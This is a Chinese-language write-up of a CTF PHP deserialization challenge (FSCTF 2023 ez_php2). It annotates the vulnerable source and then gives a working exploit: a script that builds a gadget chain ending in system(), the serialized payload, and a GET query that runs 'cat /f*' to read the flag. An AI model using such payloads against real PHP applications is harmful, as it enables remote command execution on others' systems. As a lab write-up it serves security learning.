[FSCTF 2023]ez_php2
点开之后是一段php代码:
<?php
highlight_file(__file__);
Class Rd{
public $ending;
public $cl;
public $poc;
public function __destruct()
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)
{
foreach ($arg as $key =>$value)
{
if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}
class Poc{
public $payload;
public $fun;
public function __set($name, $value)
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod)
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}
class Er{
public $symbol;
public $Flag;
public function __construct()
{
$this->symbol = True;
}
public function __set($name, $value)
{
$value($this->Flag);
}
}
class Ha{
public $start;
public $start1;
public $start2;
public function __construct()
{
echo $this->start1."__construct"."</br>";
}
public function __destruct()
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}
if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}
?> You are Silly goose!
首先我们审计这段代码。
这段代码主要定义了四个类(Rd、Poc、Er、Ha),并通过检查 $_GET 参数来决定是否进行反序列化操作。如果存在特定的 $_GET 参数,则尝试反序列化其值,否则输出 “You are Silly goose!”。
以下是对代码的详细解读:
<?php
highlight_file(__file__); 这个函数会高亮显示
当前文件的代码内容,通常用于调试或展示代码结构,但
在生产环境中一般不应该使用,因为它可能会暴露敏感信息。
Class Rd{ 定义了一个名为Rd的类。
public $ending;
public $cl;
public $poc;声明了三个公共属性
public function __destruct() __destruct()魔术
方法:当对象被销毁时会触发这个方法。它会输出 “All
matters have concluded”,然后使用die()函数终
止程序并输出ending属性的值。
{
echo "All matters have concluded";
die($this->ending);
}
public function __call($name, $arg)__call()魔
术方法:当调用一个不可访问的方法时会触发这个方法。
这里它遍历传入的参数,如果参数中的某个元素的键为
POC且值为 “1111”,则输出 “1”,并将cl属性的var1
属性设置为 “system”。
{
foreach ($arg as $key =>$value)
{
if($arg[0]['POC']=="1111")
{
echo "1";
$this->cl->var1 = "system";
}
}
}
}
class Poc{ 定义了一个名为Poc的类。
public $payload;
public $fun;声明了两个公共属性。
public function __set($name, $value) __set()
魔术方法:当给一个不可访问的属性赋值时会触发这个
方法。它将传入的属性名和值分别赋值给payload和fun属性。
{
$this->payload = $name;
$this->fun = $value;
}
function getflag($paylaod) getflag()方法:输
出一段文本,然后使用file_get_contents()函数尝试
获取传入参数所指定的文件内容。如果传入的参数是恶
意的,可能会导致安全问题,例如读取敏感文件。
{
echo "Have you genuinely accomplished what you set out to do?";
file_get_contents($paylaod);
}
}
class Er{ 定义了一个名为Er的类
public $symbol;
public $Flag;声明了两个公共属性。
public function __construct() __construct()构
造方法:将symbol属性初始化为True。
{
$this->symbol = True;
}
public function __set($name, $value)__set()魔
术方法:当给一个不可访问的属性赋值时会触发这个方法。
它会将传入的值作为函数调用,并将Flag属性作为参数传
入这个函数。如果传入的值是恶意的函数,可能会导致安全问题。
{
$value($this->Flag);
}
}
class Ha{ 定义了一个名为Ha的类。
public $start;
public $start1;
public $start2;声明了三个公共属性。
public function __construct() __construct()
构造方法:输出start1属性的值和 “__construct”
以及一个换行符。
{
echo $this->start1."__construct"."</br>";
}
public function __destruct() __destruct()魔术
方法:当对象被销毁时会触发这个方法。如果start2属
性的值为 “11111”,则调用start1属性的Love()方法,
并传入start属性作为参数,然后输出 “You are Good!”。
{
if($this->start2==="11111") {
$this->start1->Love($this->start);
echo "You are Good!";
}
}
}
if(isset($_GET['Ha_rde_r']))
{
unserialize($_GET['Ha_rde_r']);
} else{
die("You are Silly goose!");
}检查是否存在$_GET['Ha_rde_r']参数。如果存在,则对
其进行反序列化操作;如果不存在,则输出 “You are Sil
ly goose!”。这里的反序列化操作如果传入的参数被恶意构
造,可能会导致安全问题,例如对象注入攻击。
?> You are Silly goose!
开始找链子,入口在Ha里面。触发__destruct方法后,给start2赋值"11111",然后进入如下语句:
$this->start1->Love($this->start);
使得其触发__call方法,然后给start赋值[‘POC’=>‘1111’]
进入if语句,然后通过其中的var1触发__set方法
然后value就成为了system,修改$Flag就可以修改执行的命令了
然后我们构造如下脚本:
<?php
Class Rd{
public $cl;
}
class Er{
public $Flag='cat /f*';
}
class Ha{
public $start;
public $start1;
public $start2="11111";
}
$a=new Ha();
$a->start1=new Rd();
$a->start=['POC'=>'1111'];
$a->start1->cl=new Er();
echo serialize($a);
?>
运行之后得到:
得到了一串编码:
O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":1:{s:2:"cl";O:2:"Er":1:{s:4:"Flag";s:7:"cat /f*";}}s:6:"start2";s:5:"11111";}
然后我们构造payload:
?Ha_rde_r=O:2:"Ha":3:{s:5:"start";a:1:{s:3:"POC";s:4:"1111";}s:6:"start1";O:2:"Rd":1:{s:2:"cl";O:2:"Er":1:{s:4:"Flag";s:7:"cat /f*";}}s:6:"start2";s:5:"11111";}
然后我们打开HackBar 运行之后得到flag:
由此我们得到本题flag:
flag{Y0u_a2e_S0_G00d!!!}